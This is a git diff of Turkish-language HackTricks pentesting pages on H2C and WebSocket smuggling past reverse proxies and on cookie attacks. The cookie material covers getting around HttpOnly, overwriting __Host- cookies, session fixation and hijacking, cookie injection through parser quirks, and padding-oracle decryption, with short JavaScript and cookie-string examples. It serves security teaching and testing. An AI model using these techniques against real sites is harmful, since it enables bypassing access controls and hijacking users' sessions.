başlatıldığında, istek işleme sırasında uygulanan ters vekil kurallarını atlamayı sağlar, örneğin yol tabanlı yönlendirme, kimlik doğrulama ve WAF işleme. -#### Zafiyetli Vekiller +Zafiyetli Proxy'lerin `Upgrade` ve bazen `Connection` başlıklarını nasıl işlediğine bağlıdır. Aşağıdaki proxy'ler bu başlıkları varsayılan olarak iletir ve böylece H2C smuggling'i varsayılan olarak etkinleştirir: -Zafiyet, ters vekilin `Upgrade` ve bazen `Connection` başlıklarını nasıl işlediğine bağlıdır. Aşağıdaki vekiller, bu başlıkları varsayılan olarak iletir ve böylece H2C smuggling'i varsayılan olarak etkinleştirir: +- HAProxy +- Traefik +- Nuster -* HAProxy -* Traefik -* Nuster +Bununla birlikte, aşağıdaki hizmetler bu başlıkları varsayılan olarak iletmez. Ancak, `Upgrade` ve `Connection` başlıklarının filtresiz iletilmesine izin veren güvensiz bir şekilde yapılandırılmış olabilirler: -Öte yandan, aşağıdaki hizmetler, bu başlıkları varsayılan olarak iletmez. Bununla birlikte, `Upgrade` ve `Connection` başlıklarının filtresiz iletilmesine izin veren güvensiz bir şekilde yapılandırılmış olabilirler: +- AWS ALB/CLB +- NGINX +- Apache +- Squid +- Varnish +- Kong +- Envoy +- Apache Traffic Server -* AWS ALB/CLB -* NGINX -* Apache -* Squid -* Varnish -* Kong -* Envoy -* Apache Traffic Server +### Sömürü -#### Sömürü - -Uyumlu bir H2C bağlantısı yükseltmek için gereken başlıkları varsayılan olarak ileten tüm sunucuların olmadığını belirtmek önemlidir. Bu nedenle, AWS ALB/CLB, NGINX ve Apache Traffic Server gibi sunucular, H2C bağlantılarını doğal olarak engeller. Bununla birlikte, bazı arka uçların standartlara uymayabileceği için, uyumsuz `Connection: Upgrade` varyantı ile test etmek faydalı olabilir. +Uyumlu bir H2C bağlantı yükseltmesi için gereken başlıkları varsayılan olarak ileten tüm sunucuların olmadığını belirtmek önemlidir. Bu nedenle, AWS ALB/CLB, NGINX ve Apache Traffic Server gibi sunucular H2C bağlantılarını doğal olarak engeller. Bununla birlikte, bazı arka uçların standartlara uymayabileceği için, uyumsuz `Connection: Upgrade` varyantı ile test etmek faydalı olabilir. {% hint style="danger" %} -`proxy_pass` URL'sinde belirtilen belirli **yol** (örneğin, `http://backend:9999/socket.io`) bağlantının varsayılan olarak `http://backend:9999` olmasına neden olur. Bu, bu tekniği kullanarak dahili uç noktadaki herhangi bir yola etkileşim sağlar. Dolayısıyla, `proxy_pass` URL'sinde bir yol belirtmek erişimi kısıtlamaz. +`proxy_pass` URL'sinde belirtilen belirli **yol** (örneğin, `http://backend:9999/socket.io`) bağlantının varsayılan olarak `http://backend:9999` olmasına neden olur. Bu, bu tekniği kullanarak bu dahili uç noktadaki herhangi bir yola etkileşim sağlar. Dolayısıyla, `proxy_pass` URL'sinde bir yol belirtmek erişimi kısıtlamaz. {% endhint %} -[**BishopFox tarafından h2csmuggler**](https://github.com/BishopFox/h2csmuggler) ve [**assetnote tarafından h2csmuggler**](https://github.com/assetnote/h2csmuggler) araçları, bir H2C bağlantısı kurarak **proxy tarafından uygulanan korumaları atlamaya** yönelik girişimleri kolaylaştırır. +[**BishopFox tarafından h2csmuggler**](https://github.com/BishopFox/h2csmuggler) ve [**assetnote tarafından h2csmuggler**](https://github.com/assetnote/h2csmuggler) araçları, bir H2C bağlantısı kurarak **proxy tarafından uygulanan korumaları atlamaya** yönelik girişimleri kolaylaştırır ve bu sayede proxy tarafından korunan kaynaklara erişimi sağlar. -Bu zafiyetle ilgili ek bilgiler için özellikle NGINX hakkında [**bu detaylı kaynağa**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection) başvurun. - -## Websocket Smuggling - -Websocket smuggling, bir HTTP2 tüneli oluşturmanın aksine, bir Websocket tüneli kurarak potansiyel proxy kısıtlamalarını atlamayı ve uca doğrudan iletişimi kolaylaştırmayı amaçlar. - -### Senaryo 1 - -Bu senaryoda, bir iç REST API'ye erişilemeyen bir arka uç, bir kamu WebSocket API'si sunar ve kötü niyetli bir istemcinin iç REST API'ye erişim aradığı hedeflenir. Saldırı şu adımlarda gerçekleşir: - -1. İstemci, başlıkta yanlış bir `Sec-WebSocket-Version` protokol sürümü ile bir Upgrade isteği göndererek ters vekile başlar. Ters vekil, `Sec-WebSocket-Version` başlığını doğrulayamadığı için Upgrade isteğini geçerli olarak kabul eder ve arka uca iletir. -2. Arka uç, başlıkta yanlış protokol sürümünü belirten bir durum kodu `426` ile yanıt verir. Ters vekil, arka ucun yanıt durumunu göz ardı ederek WebSocket iletişimi için hazır olduğunu varsayar ve yanıtı istemciye iletir. -3. Sonuç olarak, ters vekil, istemci ile arka uç arasında bir WebSocket bağlantısı kurulmuş gibi yanıltılırken, aslında arka uç, Upgrade isteğini reddetmiştir. Bununla birlikte, vekil, istemci ile arka uç arasında açık bir TCP veya TLS bağlantısını sürdürür ve istemcinin bu bağlantı aracılığıyla özel REST API'ye kısıtlamasız erişim sağlamasına olanak tanır. - -Etkilenen ters vekiller arasında, sorunu ele almaktan kaçınan Varnish ve Envoy proxy sürümü 1.8.0 veya daha eski olanlar, daha sonraki sürümlerde yükseltme mekanizmasını değiştirmişlerdir. Diğer vekiller de savunmasız olabilir. - -![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png) - -### Senaryo 2 - -Bu senaryo, hem bir kamu WebSocket API'si hem de bir sağlık kontrolü için bir kamu REST API'si sunan bir arka uç içerir ve bir iç REST API'ye erişilemeyen bir hedeflenir. Daha karmaşık olan saldırı, aşağıdaki adımları içerir: - -1. İstemci, sağlık kontrol API'sini tetiklemek için bir POST isteği gönderirken, ek bir HTTP başlık `Upgrade: websocket` içerir. Ters vekil olarak hizmet veren NGINX, yalnızca `Upgrade` başlığına dayanarak bu isteği standart bir Upgrade isteği olarak yorumlar ve arka uca iletir. -2. Arka uç, sağlık kontrol API'sini yürütürken, saldırgan tarafından kontrol edilen bir harici kaynağa ulaşır ve bir HTTP yanıtı ile durum kodu `101` döndürür. Bu yanıt, arka uç tarafından alındığında ve NGINX'e iletilirken, yalnızca durum kodunu doğruladığı için vekili, bir WebSocket bağlantısının kurulduğuna inandırır. - -![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png) - -> **Uyarı:** Bu tekniğin karmaşıklığı, genellikle düşük önem derecesi olarak kabul edilen bir harici SSRF zafiyetinin varlığını gerektirir. - -Sonuç olarak, NGINX, istemci ile arka uç arasında bir WebSocket bağlantısı olduğuna inanır. Aslında böyle bir bağlantı yoktur; sağlık kontrol REST API'si hedef alınmıştır. Bununla birlikte, ters vekil bağlantıyı açık tutar ve istemcinin bu aracılığıyla özel REST API'ye erişmesine olanak tanır. - -![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png) - -Çoğu ters vekil bu senaryoya karşı savunmasız olabilir, ancak sömürü, genellikle düşük önem derecesi olarak kabul edilen bir harici SSRF zafiyetinin varlığına bağlıdır. - -#### Lablar - -Her iki senaryoyu test etmek için lablara [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git) adresinden erişebilirsiniz. - -### Referanslar - -* [https://blog.assetnote.io/2021/03/18/h2c-smuggling/](https://blog.assetnote.io/2021/03/18/h2c-smuggling/) -* [https://bishopfox.com/blog/h2c-smuggling-request](https://bishopfox.com/blog/h2c-smuggling-request) -* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git) +Bu zafiyetle ilgili daha fazla bilgi için özellikle NGINX hakkında [**bu detaylı kaynağa**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection) başvurun. diff --git a/pentesting-web/hacking-with-cookies/README.md b/pentesting-web/hacking-with-cookies/README.md index e76081fed..299fb8c1a 100644 --- a/pentesting-web/hacking-with-cookies/README.md +++ b/pentesting-web/hacking-with-cookies/README.md @@ -2,7 +2,7 @@
-AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Red Team Expert) ile öğrenin! +AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'ı desteklemenin diğer yolları: @@ -10,13 +10,13 @@ HackTricks'ı desteklemenin diğer yolları: * [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. -* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek destek olun. +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
**Try Hard Güvenlik Grubu** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -24,7 +24,7 @@ HackTricks'ı desteklemenin diğer yolları: ## Çerez Özellikleri -Çerezler, kullanıcının tarayıcısındaki davranışlarını kontrol eden birkaç özellikle birlikte gelir. İşte bu özelliklerin bir özeti daha pasif bir ses tonunda: +Çerezler, kullanıcının tarayıcısındaki davranışlarını kontrol eden birkaç özellikle birlikte gelir. İşte bu özelliklerin daha pasif bir sesle açıklaması: ### Son Kullanma Tarihi ve Max-Age @@ -32,7 +32,7 @@ Bir çerezin son kullanma tarihi, `Expires` özelliği tarafından belirlenir. B ### Alan -Bir çerezi alacak ana bilgisayarlar, `Domain` özelliği tarafından belirtilir. Varsayılan olarak, bu, çerezi veren ana bilgisayara, alt alanlarını içermeyen şekilde ayarlanır. Ancak, `Domain` özelliği açıkça belirlendiğinde, alt alanları da kapsar. Bu, `Domain` özelliğinin belirtilmesini, alt alanlar arasında çerez paylaşımının gerektiği senaryolar için daha az kısıtlayıcı bir seçenek haline getirir. Örneğin, `Domain=mozilla.org` ayarlanarak, çerezlerin `developer.mozilla.org` gibi alt alanlarda erişilebilir olmasını sağlar. +Bir çerezi alacak ana bilgisayarlar, `Domain` özelliği tarafından belirtilir. Varsayılan olarak, bu, çerezi veren ana bilgisayar olarak ayarlanır, alt alanlarını içermez. Ancak, `Domain` özelliği açıkça belirlendiğinde, alt alanları da kapsar. Bu, `Domain` özelliğinin belirtilmesini, alt alanlar arasında çerez paylaşımının gerektiği senaryolar için kullanışlı daha az kısıtlayıcı bir seçenek yapar. Örneğin, `Domain=mozilla.org` ayarlanarak, çerezlerin `developer.mozilla.org` gibi alt alanlarda erişilebilir olmasını sağlar. ### Yol @@ -40,17 +40,18 @@ Bir çerezi alacak ana bilgisayarlar, `Domain` özelliği tarafından belirtilir ### Sıralama Kuralları -Aynı isme sahip iki çerez olduğunda, gönderilecek olan çerez şu kriterlere dayanarak seçilir: +Aynı ada sahip iki çerez olduğunda, gönderim için seçilen çerez şu kriterlere dayanır: * İstenen URL'deki en uzun yolu eşleştiren çerez. -* Yollar aynıysa, en son ayarlanan çerez. +* Yollar aynıysa en son ayarlanan çerez. ### SameSite -* `SameSite` özelliği, çerezlerin üçüncü taraf alanlarından kaynaklanan isteklerde gönderilip gönderilmeyeceğini belirler. Üç ayar sunar: -* **Strict**: Çerezi üçüncü taraf isteklerinde göndermeyi kısıtlar. -* **Lax**: Üçüncü taraf web siteleri tarafından başlatılan GET istekleriyle çerezin gönderilmesine izin verir. -* **None**: Çerezi herhangi bir üçüncü taraf alanından göndermeye izin verir. +* `SameSite` özelliği, çerezlerin üçüncü taraf alanlarından kaynaklanan isteklerde gönderilip gönderilmeyeceğini belirler. +* Üç ayar sunar: + * **Strict**: Çerezi üçüncü taraf isteklerinde göndermeyi kısıtlar. + * **Lax**: Üçüncü taraf web siteleri tarafından başlatılan GET istekleriyle çerezin gönderilmesine izin verir. + * **None**: Çerezi herhangi bir üçüncü taraf alanından göndermeye izin verir. Çerezleri yapılandırırken, bu özellikleri anlamak, farklı senaryolarda beklenen şekilde davranmalarını sağlamaya yardımcı olabilir. @@ -64,11 +65,11 @@ Aynı isme sahip iki çerez olduğunda, gönderilecek olan çerez şu kriterlere | AJAX | $.get("...") | NotSet\*, None | | Resim | \ | NetSet\*, None | -Tablo [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) tarafından ve biraz değiştirilmiştir.\ -**_SameSite_** özelliğine sahip bir çerez, oturum gerektiren CSRF saldırılarını **önleyecektir**. +Tablo [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) tarafından ve hafifçe değiştirilmiştir.\ +**SameSite** özelliğine sahip bir çerez, **oturum gerektiren CSRF saldırılarını hafifletir**. **\*Unutmayın ki Chrome80'den (şubat/2019) itibaren, samesite özelliği olmayan bir çerezin varsayılan davranışı lax olacaktır** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\ -Bu değişiklik uygulandıktan sonra, Chrome'da **Samesite politikası olmayan çerezlerin** ilk 2 dakika boyunca **None** olarak ve ardından üst düzey çapraz site POST isteği için **Lax** olarak işlemleneceğini unutmayın. +Bu değişiklik uygulandıktan sonra, Chrome'da **Samesite politikası olmayan çerezlerin** ilk 2 dakika boyunca **None** olarak, daha sonra üst düzey çapraz site POST isteği için **Lax** olarak işlemleneceğini unutmayın. ## Çerez Bayrakları @@ -79,10 +80,10 @@ Bu, **istemcinin** çereze erişmesini engeller (Örneğin **Javascript** aracı #### **Atlatmalar** * Eğer sayfa, çerezleri yanıt olarak gönderiyorsa (örneğin bir **PHPinfo** sayfasında), XSS'i kötüye kullanarak bu sayfaya bir istek gönderip yanıtından çerezleri **çalmak mümkün olabilir** (örneği [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/) adresinde bulabilirsiniz). -* Bu, sunucudan gelen yanıt olarak **TRACE** **HTTP** istekleriyle atlatılabilir (bu HTTP yöntemi mevcutsa). Bu teknik **Cross-Site Tracking** olarak adlandırılır. -* Bu teknik, modern tarayıcılar tarafından JS'den TRACE isteği göndermeye izin verilmeyerek önlendi. Ancak, IE6.0 SP2 gibi belirli yazılımlarda, bu kısıtlamaları aşmanın bazı yolları bulunmuştur. +* Bu, sunucudan gelen yanıt olarak **TRACE** **HTTP** isteklerini (bu HTTP yöntemi mevcutsa) yansıtacak şekilde atlatılabilir. Bu teknik **Cross-Site Tracking** olarak adlandırılır. +* Bu teknik, modern tarayıcılar tarafından JS'den TRACE isteği göndermeye izin verilmeyerek engellenir. Ancak, IE6.0 SP2 gibi belirli yazılımlarda `\r\nTRACE` yerine `TRACE` göndererek bu kısıtlamaların atlatılması mümkündür. * Başka bir yol, tarayıcıların sıfır/gün açıklarının sömürülmesidir. -* Bir Cookie Jar taşması saldırısı gerçekleştirerek **HttpOnly çerezleri üzerine yazmak mümkündür**: +* HttpOnly çerezleri **üzerine yazılabilir** bir Çerez Kavanozu taşma saldırısı gerçekleştirilerek. {% content-ref url="cookie-jar-overflow.md" %} [cookie-jar-overflow.md](cookie-jar-overflow.md) @@ -96,37 +97,37 @@ Bu, **istemcinin** çereze erişmesini engeller (Örneğin **Javascript** aracı ## Çerez Önekleri -`__Secure-` ile başlayan çerezlerin, HTTPS ile korunan sayfalardan gelen `secure` bayrağıyla birlikte ayarlanması gerekmektedir. +`__Secure-` ile başlayan çerezlerin, HTTPS ile korunan sayfalardan gelen çerezlerle birlikte ayarlanması gerekmektedir. `__Host-` ile başlayan çerezler için birkaç koşul karşılanmalıdır: -* `secure` bayrağıyla ayarlanmalıdır. +* `secure` bayrağı ile ayarlanmalıdır. * HTTPS ile korunan bir sayfadan kaynaklanmalıdır. -* Alan belirtilmemeli ve alt alanlara iletilmemelidir. +* Alt alanlara iletilmesini engellemek için bir alan belirtmemelidir. * Bu çerezlerin yolu `/` olarak ayarlanmalıdır. -`__Host-` ile başlayan çerezlerin süper alanlara veya alt alanlara gönderilmesine izin verilmediğini belirtmek önemlidir. Bu kısıtlama, uygulama çerezlerini izole etmeye yardımcı olur. Bu nedenle, tüm uygulama çerezleri için `__Host-` önekini kullanmak, güvenliği ve izolasyonu artırmak için iyi bir uygulama olarak düşünülebilir. -### Çerezleri Üzerine Yazma +`__Host-` ile başlayan çerezlerin süper alanlara veya alt alanlara gönderilmesine izin verilmediğini unutmamak önemlidir. Bu kısıtlama, uygulama çerezlerini izole etmeye yardımcı olur. Bu nedenle, tüm uygulama çerezleri için `__Host-` önekini kullanmak, güvenliği ve izolasyonu artırmak için iyi bir uygulama olarak düşünülebilir. +### Çerezlerin Üzerine Yazılması -Yani, `__Host-` ön ekli çerezlerin korunmasından biri, bunların alt alanlardan üzerine yazılmasını engellemektir. Örneğin [**Çerez Atma saldırıları**](cookie-tossing.md) engellenir. [**Çerez Parçalanıyor: Web Oturum Bütünlüğü Güvenlik Açıklıklarını Ortaya Çıkarma**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) adlı sunumda ([**makale**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) alt alanlardan \_\_HOST- ön ekli çerezlerin ayarlanabileceği, örneğin, ayracı kandırarak mümkün olduğu sunulmuştur, örneğin, "=" başında veya başında ve sonunda...: +Yani, `__Host-` ön ekli çerezlerin korunmasından biri, bunların alt alanlardan üzerine yazılmasını engellemektir. Örneğin [**Çerez Atma saldırıları**](cookie-tossing.md) engellenir. [**Çerez Parçalanıyor: Web Oturum Bütünlüğü Güvenlik Açıklıklarını Ortaya Çıkarma**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) adlı sunumda ([**makale**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) alt alanlardan \_\_HOST- ön ekli çerezlerin ayarlanabileceği, ayrıca ayrıca, örneğin, başlangıçta "=" ekleyerek ayrıştırıcıyı kandırarak mümkün olduğu sunulmuştur...:
-Ya da PHP'de **çerez adının başına başka karakterler eklemek** mümkün olabilir ve bu karakterler alt çizgi karakterleriyle **değiştirilebilir**, böylece `__HOST-` çerezlerinin üzerine yazılmasına izin verilir: +Veya PHP'de, çerez adının başına **diğer karakterler eklemek** mümkündü ve bu karakterlerin alt çizgi karakterleriyle **değiştirileceği**, böylece `__HOST-` çerezlerin üzerine yazılmasına izin verilecekti:
## Çerez Saldırıları -Özel bir çerez hassas veri içeriyorsa bunu kontrol edin (özellikle bir CTF oynuyorsanız), zira zayıf olabilir. +Özel bir çerez hassas veri içeriyorsa bunu kontrol edin (özellikle bir CTF oynuyorsanız), zira bu savunmasız olabilir. -### Çerezleri Kod Çözme ve Manipüle Etme +### Çerezlerin Kodunu Çözme ve Manipüle Etme -Çerezlere gömülmüş hassas veriler her zaman incelenmelidir. Base64 veya benzer formatlarda kodlanmış çerezler genellikle çözülebilir. Bu zayıflık, saldırganların çereze ait içeriği değiştirmesine ve değiştirilmiş verilerini çereze geri kodlayarak diğer kullanıcıları taklit etmesine olanak tanır. +Çerezlere gömülü hassas veriler her zaman incelenmelidir. Base64 veya benzer formatlarda kodlanmış çerezler genellikle çözülebilir. Bu zayıflık, saldırganların çerez içeriğini değiştirmesine ve değiştirilmiş verilerini çerez içine kodlayarak diğer kullanıcıları taklit etmesine olanak tanır. ### Oturum Kaçırma -Bu saldırı, bir kullanıcının çerezini çalarak uygulama içindeki hesabına izinsiz erişim sağlamayı içerir. Çalınan çerez kullanılarak, bir saldırgan meşru kullanıcıyı taklit edebilir. +Bu saldırı, bir kullanıcının çerezini çalarak bir uygulamadaki hesabına izinsiz erişim sağlamayı içerir. Çalınan çerez kullanılarak, bir saldırgan meşru kullanıcıyı taklit edebilir. ### Oturum Sabitleme @@ -140,7 +141,7 @@ Eğer bir **alt alanında XSS bulduysanız** veya bir **alt alanınızı kontrol ### Oturum Bağışı -Burada, saldırgan kurbanı saldırganın oturum çerezini kullanmaya ikna eder. Kendi hesabına giriş yaptığına inanan kurban, aslında saldırganın hesabında eylemler gerçekleştirir. +Burada, saldırgan kurbanı kendi oturum çerezi kullanmaya ikna eder. Kendi hesaplarına giriş yaptıklarını düşünen kurban, aslında saldırganın hesabı bağlamında işlemler gerçekleştirir. Eğer bir **alt alanında XSS bulduysanız** veya bir **alt alanınızı kontrol ediyorsanız**, okuyun: @@ -152,15 +153,15 @@ Eğer bir **alt alanında XSS bulduysanız** veya bir **alt alanınızı kontrol JWT'deki olası hataları açıklayan bir sayfaya erişmek için önceki bağlantıya tıklayın. -Çerezlerde kullanılan JSON Web Token'lar (JWT) de zayıflıklar içerebilir. JWT'yi hacklemek için bağlantılı belgeye erişmek, potansiyel hatalar ve bunları nasıl kullanacağınız hakkında detaylı bilgi edinmek için önerilir. +Çerezlerde kullanılan JSON Web Token'lar (JWT) de zayıflıklar içerebilir. JWT'leri hacklemek için bağlantılı belgeye erişmek, potansiyel hatalar ve bunları nasıl kullanabileceğiniz hakkında detaylı bilgi edinmek için önerilir. ### Cross-Site Request Forgery (CSRF) -Bu saldırı, oturum açmış bir kullanıcıyı, mevcut kimlik doğrulama yapılmış bir web uygulamasında istenmeyen eylemleri gerçekleştirmeye zorlar. Saldırganlar, her istekle otomatik olarak gönderilen çerezleri kullanarak savunmasız siteyi istismar edebilirler. +Bu saldırı, oturum açmış bir kullanıcıyı, şu anda kimlik doğrulaması yapılmış bir web uygulamasında istenmeyen eylemleri gerçekleştirmeye zorlar. Saldırganlar, her istekle otomatik olarak gönderilen çerezleri kullanarak savunmasız siteyi istismar edebilirler. ### Boş Çerezler -(Detaylı bilgiler için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Tarayıcılar, adı olmayan çerezlerin oluşturulmasına izin verir, bu da JavaScript aracılığıyla gösterilebilir. +(Detaylı bilgiler için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Tarayıcılar, adı olmayan çerezlerin oluşturulmasına izin verir, bu JavaScript aracılığıyla aşağıdaki gibi gösterilebilir: ```js document.cookie = "a=v1" document.cookie = "=test value;" // Setting an empty named cookie @@ -176,7 +177,7 @@ setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's valu ``` #### Chrome Hatası: Unicode Yedek Kod Nokta Sorunu -Chrome'da, bir Unicode yedek kod noktası bir set çerezi parçasıysa, `document.cookie` bozulur ve ardından boş bir dize döndürür: +Chrome'da, bir Unicode yedek kod noktası bir set çerezi parçası ise, `document.cookie` bozulur ve ardından boş bir dize döner: ```js document.cookie = "\ud800=meep"; ``` @@ -184,39 +185,39 @@ Bu, `document.cookie`'nin boş bir dize çıktısı vermesine neden olarak kalı #### Ayrıştırma Sorunları Nedeniyle Çerez Kaçırma -(Daha fazla ayrıntı için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Java (Jetty, TomCat, Undertow) ve Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) dahil birçok web sunucusu, eski RFC2965 desteğinden kaynaklanan çerez dizelerini yanlış işler. Çift tırnakla çevrili bir çerez değeri, genellikle anahtar-değer çiftlerini ayıran noktalı virgüller içerse bile, tek bir değer olarak okunur: +(Daha fazla ayrıntı için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Java (Jetty, TomCat, Undertow) ve Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) dahil birçok web sunucusu, eski RFC2965 desteğinden kaynaklanan çerez dizelerini yanlış işler. Çift tırnakla çevrili bir çerez değeri, genellikle anahtar-değer çiftlerini ayıran noktalı virgüller içerse bile tek bir değer olarak okunur: ``` RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; ``` -#### Çerez Enjeksiyonu Güvenlik Açıklıkları +#### Çerez Enjeksiyonu Güvenlik Açıkları -(Sonuçları[orijinal araştırmada](https://blog.ankursundara.com/cookie-bugs/) kontrol edin) Sunucuların, özellikle Undertow, Zope ve Python'ın `http.cookie.SimpleCookie` ve `http.cookie.BaseCookie` kullanılarak çerezleri yanlış ayrıştırması, çerez enjeksiyon saldırıları için fırsatlar yaratır. Bu sunucular, yeni çerezlerin başlangıcını düzgün bir şekilde sınırlamazlar, bu da saldırganların çerezleri sahtelemesine olanak tanır: +(Sonuçları detaylı incelemek için [orijinal araştırmaya](https://blog.ankursundara.com/cookie-bugs/) bakın) Sunucuların, özellikle Undertow, Zope ve Python'ın `http.cookie.SimpleCookie` ve `http.cookie.BaseCookie` kullanarak çerezleri yanlış ayrıştırması, çerez enjeksiyon saldırıları için fırsatlar yaratır. Bu sunucular, yeni çerezlerin başlangıcını düzgün bir şekilde sınırlamazlar, bu da saldırganların çerezleri sahtelemesine olanak tanır: * Undertow, bir tırnak içindeki bir değerden sonra noktalı virgül olmadan hemen yeni bir çerez bekler. * Zope, bir sonraki çerezi ayrıştırmaya başlamak için bir virgül arar. * Python'ın çerez sınıfları, boşluk karakterinde ayrışmaya başlar. -Bu güvenlik açığı, çerez tabanlı CSRF korumasına güvenen web uygulamalarında özellikle tehlikelidir, çünkü saldırganlara sahte CSRF belirteci çerezleri enjekte etmelerine ve güvenlik önlemlerini atlamalarına olanak tanır. Sorun, Python'ın çift çerez adlarını işleme şekli tarafından kötüleştirilir, burada son oluşum öncekileri geçersiz kılar. Ayrıca, güvensiz bağlamlarda `__Secure-` ve `__Host-` çerezleri için endişeleri artırır ve çerezlerin sahteciliğe duyarlı arka uç sunucularına iletilmesi durumunda yetkilendirme atlamalarına yol açabilir. +Bu zayıflık, çerez tabanlı CSRF korumasına güvenen web uygulamalarında özellikle tehlikelidir, çünkü saldırganlara sahte CSRF belirteci çerezleri enjekte etme olanağı sağlar ve güvenlik önlemlerini atlayabilir. Sorun, Python'ın çift çerez adlarını işleme şekli tarafından kötüleştirilir, burada son oluşum öncekileri geçersiz kılar. Ayrıca, güvensiz bağlamlarda `__Secure-` ve `__Host-` çerezleri için endişeleri artırır ve çerezlerin sahteciliğe duyarlı arka uç sunucularına iletilmesi durumunda yetkilendirme atlamalarına yol açabilir. -### Ekstra Hassas Çerez Kontrolleri +### Ekstra Savunmasız Çerez Kontrolleri #### **Temel kontroller** -* **Çerez**, her **giriş** yaptığınızda **aynı** olmalıdır. +* **Çerez**, her **girişinizde** **aynı** mıdır? * Çıkış yapın ve aynı çerezi kullanmaya çalışın. * Aynı çerezi kullanarak aynı hesaba 2 cihazda (veya tarayıcıda) giriş yapmaya çalışın. -* Çerezde herhangi bir bilgi olup olmadığını kontrol edin ve değiştirmeye çalışın. -* Neredeyse aynı kullanıcı adlarıyla birkaç hesap oluşturun ve benzerlikleri görebilir misiniz kontrol edin. -* Varsa "**beni hatırla**" seçeneğini kontrol edin ve nasıl çalıştığını görün. Eğer varsa ve savunmasız olabilirse, her zaman sadece **beni hatırla** çerezini kullanın, başka çerez olmadan. -* Şifrenizi değiştirdikten sonra önceki çerezin hala çalışıp çalışmadığını kontrol edin. +* Çerezde herhangi bir bilgi olup olmadığını kontrol edin ve bunu değiştirmeyi deneyin. +* Neredeyse aynı kullanıcı adıyla birkaç hesap oluşturun ve benzerlikleri görebilir misiniz kontrol edin. +* Varsa "**beni hatırla**" seçeneğini kontrol edin ve nasıl çalıştığını görün. Eğer varsa ve savunmasız olabilirse, her zaman sadece **beni hatırla** çerezini kullanın, başka çerez kullanmayın. +* Şifrenizi değiştirdikten sonra önceki çerez hala çalışıyor mu kontrol edin. #### **Gelişmiş çerez saldırıları** Eğer giriş yaptığınızda çerez aynı kalıyorsa (veya neredeyse aynı), bu muhtemelen çerezin hesabınızın bir alanıyla ilişkili olduğu anlamına gelir (muhtemelen kullanıcı adı). O zaman şunları yapabilirsiniz: -* Çok sayıda **hesap** oluşturun ve kullanıcı adları çok **benzer** olsun ve algoritmanın nasıl çalıştığını **tahmin** etmeye çalışın. -* **Kullanıcı adını brute force** deneyin. Eğer çerez sadece kullanıcı adınız için bir kimlik doğrulama yöntemi olarak kaydediyorsa, o zaman "**Bmin**" kullanıcı adıyla bir hesap oluşturabilir ve çerezinizin her **bitini** brute force edebilirsiniz çünkü deneyeceğiniz çerezlerden biri "**admin**"e ait olacaktır. -* **Padding Oracle** deneyin (çerezin içeriğini şifreleyebilirsiniz). **Padbuster** kullanın. +* Çok sayıda **hesap** oluşturun, çok **benzer** kullanıcı adlarıyla ve algoritmanın nasıl çalıştığını **tahmin etmeye** çalışın. +* **Kullanıcı adını** **bruteforce** etmeye çalışın. Eğer çerez sadece kullanıcı adınız için bir kimlik doğrulama yöntemi olarak kaydediyorsa, o zaman "**Bmin**" kullanıcı adıyla bir hesap oluşturabilir ve çerezinizin her **bitini** tek tek **bruteforce** edebilirsiniz çünkü deneyeceğiniz çerezlerden biri "**admin**"e ait olacaktır. +* **Padding Oracle** deneyin (çerezin içeriğini şifreleyebilirsiniz). **Padbuster**'ı kullanın. **Padding Oracle - Padbuster örnekleri** ```bash @@ -232,7 +233,7 @@ Padbuster birkaç deneme yapacak ve hangi koşulun hata koşulu olduğunu soraca Daha sonra çerezin şifresini çözmeye başlayacak (birkaç dakika sürebilir). -Saldırı başarılı bir şekilde gerçekleştirildiyse, istediğiniz 